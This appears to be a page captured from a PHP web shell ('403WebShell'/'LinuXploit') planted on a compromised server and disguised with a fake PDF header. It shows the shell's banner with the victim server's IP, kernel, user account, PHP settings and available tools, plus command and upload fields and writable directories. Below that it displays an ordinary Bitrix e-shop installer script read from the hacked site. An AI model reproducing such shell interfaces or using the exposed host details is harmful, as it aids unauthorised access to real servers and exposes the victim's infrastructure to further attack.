%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.224.58.121
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/bitrix.eshop/install/wizards/bitrix/eshop/site/services/iblock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/bitrix.eshop/install/wizards/bitrix/eshop/site/services/iblock/eshopapp.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)
	die();

if (LANGUAGE_ID != "ru" || !file_exists($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/eshopapp"))
	return;
//install eshopapp
$installEshopApp = $wizard->GetVar("installEshopApp");
$installEshopApp = ($installEshopApp == "Y") ? "Y" : "N";
$wizardInstallEshopApp = false;
$currentInstallEshoApp = COption::GetOptionString("eshop", "installEshopApp", "N", WIZARD_SITE_ID);
if ($currentInstallEshoApp != "Y" && $installEshopApp == "Y")
	$wizardInstallEshopApp = true;
COption::SetOptionString("eshop", "installEshopApp", $installEshopApp, false, WIZARD_SITE_ID);

if (CModule::IncludeModule("iblock"))
{
	$installFile = $_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/eshopapp/install/index.php";
	if (!file_exists($installFile))
		return false;

	include_once($installFile);

	$moduleIdTmp = str_replace(".", "_", "eshopapp");
	if (!class_exists($moduleIdTmp))
		return false;

	$module = new $moduleIdTmp;

	$rsIBlock = CIBlock::GetList(array(), array("TYPE" => "catalog", 'LID' => WIZARD_SITE_ID));
	if ($arIBlock = $rsIBlock->Fetch())
	{
		$iblockID = $arIBlock["ID"];

		if ($installEshopApp == "Y" )
		{
			if (!IsModuleInstalled("eshopapp"))
			{
				if (!$module->InstallDB())
					return false;
				$module->InstallEvents();
				if (!$module->InstallFiles(WIZARD_SITE_DIR, WIZARD_SITE_ID))
					return false;
				if (!$module->InstallPublic("catalog", $iblockID, WIZARD_SITE_DIR))
					return false;
			}
			elseif ($wizardInstallEshopApp || WIZARD_INSTALL_DEMO_DATA)
			{
				if (!$module->InstallPublic("catalog", $iblockID, WIZARD_SITE_DIR))
					return false;

				$arAppTempalate = Array(
					"SORT" => 1,
					"CONDITION" => "CSite::InDir('".WIZARD_SITE_DIR."eshop_app/')",
					"TEMPLATE" => "eshop_app"
				);

				$arFields = Array("TEMPLATE"=>Array());
				$dbTemplates = CSite::GetTemplateList(WIZARD_SITE_ID);
				$eshopAppFound = false;
				while($template = $dbTemplates->Fetch())
				{
					if ($template["TEMPLATE"] == "eshop_app")
					{
						$eshopAppFound = true;
						$template = $arAppTempalate;
					}

					$arFields["TEMPLATE"][] = array(
						"TEMPLATE" => $template['TEMPLATE'],
						"SORT" => $template['SORT'],
						"CONDITION" => $template['CONDITION']
					);
				}
				if (!$eshopAppFound)
					$arFields["TEMPLATE"][] = $arAppTempalate;

				$obSite = new CSite;
				$arFields["LID"] = WIZARD_SITE_ID;
				$obSite->Update(WIZARD_SITE_ID, $arFields);
			}
		}
		else
		{
			if (!$module->UnInstallPublic(WIZARD_SITE_DIR))
				return false;

			$arFields = Array("TEMPLATE"=>Array());
			$dbTemplates = CSite::GetTemplateList(WIZARD_SITE_ID);
			while($template = $dbTemplates->Fetch())
			{
				if ($template["TEMPLATE"] != "eshop_app")
				{
					$arFields["TEMPLATE"][] = array(
						"TEMPLATE" => $template['TEMPLATE'],
						"SORT" => $template['SORT'],
						"CONDITION" => $template['CONDITION']
					);
				}
			}

			$obSite = new CSite;
			$arFields["LID"] = WIZARD_SITE_ID;
			$obSite->Update(WIZARD_SITE_ID, $arFields);
		}
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit